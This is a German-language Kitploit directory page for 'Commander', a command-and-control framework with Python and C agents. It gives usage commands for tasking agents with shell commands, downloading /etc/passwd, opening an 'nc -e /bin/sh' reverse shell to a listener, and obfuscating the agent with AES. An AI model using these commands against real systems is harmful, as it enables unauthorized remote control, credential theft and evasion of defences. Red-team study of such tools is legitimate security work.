Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Commander — Python-basiertes Command-and-Control-Framework mit verschlüsselter TLS-Kommunikation, Unterstützung mehrerer Agents (Python/C), interaktiven Sitzungen, Dateiübertragung und AES-Verschleierung für Red-Team-Operationen. | Kitploit
Tools/GitHubGitHub/voukatas/commander
Verschlüsselungs-/EntschlüsselungstoolsPost-ExploitationPenetrationstestsCommand and ControlRed TeamingPayload-Entwicklung
GitHubvoukatas/commander

Commander

Python-basiertes Command-and-Control-Framework mit verschlüsselter TLS-Kommunikation, Unterstützung mehrerer Agents (Python/C), interaktiven Sitzungen, Dateiübertragung und AES-Verschleierung für Red-Team-Operationen.

Repository anzeigen
6318vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Commander

Commander ist ein Command-and-Control-Framework (C2), das in Python, Flask und SQLite geschrieben ist. Es wird mit zwei Agents ausgeliefert, einem in Python und einem in C.

In ständiger Entwicklung

Nicht script-kiddie-freundlich

Eigenschaften

  • Vollständig verschlüsselte Kommunikation (TLS)
  • Mehrere Agents
  • Verschleierung
  • Interaktive Sitzungen
  • Skalierbar
  • Base64-Datenkodierung
  • RESTful API

Agenten

  • Python 3
    • Der Python-Agent unterstützt:
      • Sitzungen, eine interaktive Shell zwischen Admin und Agent (wie SSH)
      • Verschleierung
      • Sowohl Windows- als auch Linux-Systeme
      • Funktion zum Herunterladen/Hochladen von Dateien
  • C
    • Der C-Agent unterstützt derzeit nur die grundlegende Funktionalität, die Steuerung von Aufgaben für die Agents
    • Nur für Linux-Systeme

Anforderungen

Python >= 3.6 wird zum Ausführen benötigt sowie die folgenden Abhängigkeiten:

root@kitploit:~
Linux für admin.py und c2_server.py. (Für Windows nicht getestet)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

Vorschau

screenshot

Wie man es verwendet

Erstellen Sie zuerst die erforderlichen Zertifikate und Schlüssel:

root@kitploit:~
# Wenn Sie Ihren Schlüssel mit einer Passphrase sichern möchten, lassen Sie -nodes weg
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Starten Sie zuerst das Modul admin.py, um eine lokale SQLite-Datenbankdatei zu erstellen:

root@kitploit:~
python3 admin.py

Fahren Sie fort, indem Sie den Server starten:

root@kitploit:~
python3 c2_server.py

Und zuletzt den Agenten. Im Fall des Python-Agenten können Sie ihn einfach ausführen, aber beim C-Agenten müssen Sie ihn zuerst kompilieren.

root@kitploit:~
# Python-Agent
python3 agent.py

# C-Agent
gcc agent.c -o agent -lcurl -lb64
./agent

Standardmäßig laufen sowohl die Agents als auch der Server über TLS und Base64. Der Kommunikationspunkt ist auf 127.0.0.1:5000 gesetzt; falls ein anderer Punkt benötigt wird, sollte er in den Quelltextdateien der Agents geändert werden.

Als Operator/Administrator können Sie die folgenden Befehle verwenden, um Ihre Agents zu steuern:

root@kitploit:~
Befehle:

  task add arg c2-commands
    Fügt einem Agenten, einer Gruppe oder allen Agenten eine Aufgabe hinzu.
    arg: kann folgende Werte annehmen: 'all' 'type=Linux|Windows' 'your_uuid'
    c2-commands: mögliche Werte sind c2-register c2-shell c2-sleep c2-quit
      c2-register: Löst aus, dass sich der Agent erneut registriert.
      c2-shell cmd: Nimmt einen Shell-Befehl entgegen, den der Agent ausführen soll. z.B. c2-shell whoami
         cmd: Der auszuführende Befehl.
      c2-sleep: Konfiguriert das Intervall, in dem ein Agent nach Aufgaben sucht.
      c2-session port: Weist den Agenten an, eine Shell-Sitzung mit dem Server auf diesem Port zu öffnen.
         port: Der Port, zu dem eine Verbindung hergestellt werden soll. Wenn nicht angegeben, wird standardmäßig 5555 verwendet.
      c2-quit: Zwingt einen Agenten, sich zu beenden.

  task delete arg
    Löscht eine Aufgabe von einem Agenten oder allen Agenten.
    arg: kann folgende Werte annehmen: 'all' 'type=Linux|Windows' 'your_uuid'
  show agent arg
    Zeigt Informationen für alle verfügbaren Agenten oder für einen bestimmten Agenten an.
    arg: kann folgende Werte annehmen: 'all' 'type=Linux|Windows' 'your_uuid'
  show task arg
    Zeigt die Aufgabe eines Agenten oder aller Agenten an.
    arg: kann folgende Werte annehmen: 'all' 'type=Linux|Windows' 'your_uuid'
  show result arg
    Zeigt den Verlauf/das Ergebnis eines Agenten oder aller Agenten an.
    arg: kann folgende Werte annehmen: 'all' 'type=Linux|Windows' 'your_uuid'
  find active agents
    Löscht die Datenbank, sodass die aktiven Agenten sich erneut registrieren.

  exit
    Tschüss!


Sitzungen:

  sessions server arg [port]
    Steuert einen Sitzungshandler.
    arg: kann folgende Werte annehmen: 'start', 'stop', 'status'
    port: port ist optional für das start-Argument und standardmäßig 5555, falls nicht angegeben. Dieses Argument definiert den Port des Sitzungsservers.
  sessions select arg
    Wählt aus, an welcher Sitzung teilgenommen werden soll.
    arg: der Index aus dem Ergebnis von 'sessions list'
  sessions close arg
    Schließt eine Sitzung.
    arg: der Index aus dem Ergebnis von 'sessions list'
  sessions list
    Zeigt die verfügbaren Sitzungen an.
  local-ls directory
    Listet auf Ihrem Host die Dateien im ausgewählten Verzeichnis auf.
  download 'file'
    Lädt die 'Datei' lokal in das aktuelle Verzeichnis herunter.
  upload 'file'
    Lädt eine Datei in das Verzeichnis hoch, in dem sich der Agent gerade befindet.

Besondere Aufmerksamkeit sollte dem Befehl 'find active agents' gelten. Dieser Befehl löscht alle Tabellen und erstellt sie neu. Es mag erschreckend klingen, ist es aber nicht, zumindest glaube ich das :P

Die Idee hinter dieser Funktionalität ist, dass der C2-Server einen Agenten auffordern kann, sich erneut zu registrieren, falls er ihn nicht erkennt. Da wir also die Datenbank von ungenutzten alten Einträgen bereinigen und gleichzeitig alle aktuell aktiven Hosts finden möchten, können wir die Tabellen löschen und den Mechanismus zur erneuten Registrierung des C2-Servers auslösen. Siehe unten für den Mechanismus zur erneuten Registrierung.

Abläufe

Nachfolgend finden Sie ein normales Ablaufdiagramm.

Normaler Ablauf

screenshot

Falls die Umgebung einen größeren Ausfall erleidet, wie z.B. eine beschädigte Datenbank oder einen anderen kritischen Fehler, wird der Mechanismus zur erneuten Registrierung aktiviert, damit wir die Verbindung zu unseren Agents nicht verlieren.

Genauer gesagt: Wenn wir die Datenbank verlieren, haben wir keine Informationen über die UUIDs, die wir empfangen, und können daher keine Aufgaben für sie festlegen usw. Die Agents werden weiterhin versuchen, ihre Aufgaben abzurufen, und da wir sie nicht erkennen, werden wir sie bitten, sich erneut zu registrieren, damit wir sie in unsere Datenbank aufnehmen und wieder steuern können.

Unten ist das Ablaufdiagramm für diesen Fall.

Ablauf bei erneuter Registrierung

screenshot

Nützliche Beispiele

Um Ihre Umgebung einzurichten, starten Sie zuerst admin.py und dann c2_server.py und führen Sie den Agenten aus. Danach können Sie die verfügbaren Agents überprüfen.

root@kitploit:~
# alle verfügbaren Agents anzeigen
show agent all

Um alle Agents anzuweisen, den Befehl "id" auszuführen, gehen Sie wie folgt vor:

root@kitploit:~
# für alle Agents
task add all c2-shell id

# die Ergebnisse von "id" überprüfen
show result all

Um den Verlauf / die vorherigen Ergebnisse ausgeführter Aufgaben für einen bestimmten Agenten zu überprüfen, gehen Sie so vor:

root@kitploit:~
# die Ergebnisse eines bestimmten Agenten überprüfen
show result 85913eb1245d40eb96cf53eaf0b1e241

Sie können auch das Intervall der Agents, in dem sie nach Aufgaben suchen, auf 30 Sekunden ändern:

root@kitploit:~
# um es für alle Agents zu setzen
task add all c2-sleep 30

Um eine Sitzung mit einem oder mehreren Ihrer Agents zu öffnen, gehen Sie wie folgt vor:

root@kitploit:~
# den Agenten / die UUID finden
show agent all

# den Server aktivieren, um Verbindungen anzunehmen
sessions server start 5555

# eine Aufgabe für eine Sitzung zu Ihrem bevorzugten Agenten hinzufügen
task add your_prefered_agent_uuid_here c2-session 5555

# eine Liste der verfügbaren Verbindungen anzeigen
sessions list

# auswählen, um an einer der Sitzungen teilzunehmen, z.B. 0 auswählen
sessions select 0

# einen Befehl ausführen
id

# die passwd-Datei lokal herunterladen
download /etc/passwd

# Ihre Dateien lokal auflisten, um zu überprüfen, dass passwd erstellt wurde
local-ls

# eine Datei (test.txt) in das Verzeichnis hochladen, in dem sich der Agent befindet
upload test.txt

# zur Haupt-CLI zurückkehren
go back

# überprüfen, ob der Server läuft
sessions server status

# den Sitzungsserver stoppen
sessions server stop

Wenn Sie aus irgendeinem Grund eine andere externe Sitzung wie mit netcat oder Metasploit ausführen möchten, gehen Sie wie folgt vor:

root@kitploit:~
# alle verfügbaren Agents anzeigen
show agent all

# zuerst einen netcat auf Ihrem Rechner öffnen
nc -vnlp 4444

# eine Aufgabe zum Öffnen einer Reverse-Shell für einen bestimmten Agenten hinzufügen
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

Auf diese Weise haben Sie eine 'unverwüstliche' Shell, die sofort wieder hochkommt, selbst wenn Sie getrennt werden. Nur die interaktiven Befehle werden sie dauerhaft zum Absterben bringen.

Verschleierung

Der Python-Agent bietet Verschleierung mittels einer einfachen AES-ECB-Verschlüsselung und Base64-Kodierung.

Bearbeiten Sie die Datei obfuscator.py und ändern Sie den Wert von 'key' in einen 16 Zeichen langen Schlüssel, um eine benutzerdefinierte Nutzlast zu erstellen. Die Ausgabe des neuen Agenten finden Sie unter Agents/obs_agent.py.

Sie können ihn wie folgt ausführen:

root@kitploit:~
python3 obfuscator.py

# und um den Agenten auszuführen, wie gewohnt
python3 obs_agent.py

Tipps & Tricks

  1. Der integrierte Flask-App-Server kann keine mehrfachen/gleichzeitigen Anfragen verarbeiten. Sie können daher den Gunicorn-Server für eine bessere Leistung wie folgt verwenden:
root@kitploit:~
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key
  1. Erstellen Sie eine Binärdatei für Ihren Python-Agenten wie folgt:
root@kitploit:~
pip install pyinstaller
pyinstaller --onefile agent.py

Die Binärdatei finden Sie im dist-Verzeichnis.

Falls etwas fehlschlägt, müssen Sie möglicherweise Ihre Python- und Pip-Bibliotheken aktualisieren. Wenn es weiterhin fehlschlägt … nun ja, das Leben passiert.

  1. Erstellen Sie bei jedem Einsatz neue Zertifikate.

  2. Sichern Sie Ihre c2.db, es ist einfach … nur eine Datei.

Tests

Für die Tests wurde pytest verwendet. Sie können die Tests wie folgt ausführen:

root@kitploit:~
cd tests/
py.test

Seien Sie vorsichtig: Sie müssen die Tests im tests-Verzeichnis ausführen, da sonst Ihre c2.db überschrieben wird und Sie Ihre Daten verlieren.

Um die Codeabdeckung zu überprüfen und einen schönen HTML-Bericht zu erstellen, können Sie dies verwenden:

root@kitploit:~
# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html

Haftungsausschluss: Dieses Tool ist ausschließlich als Proof-of-Concept-Demonstrationstool für autorisierte Sicherheitstests gedacht. Die Ausführung dieses Tools gegen Hosts, für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Sie sind für jegliche Probleme verantwortlich, die durch die Verwendung dieses Tools entstehen können.

Tool herunterladen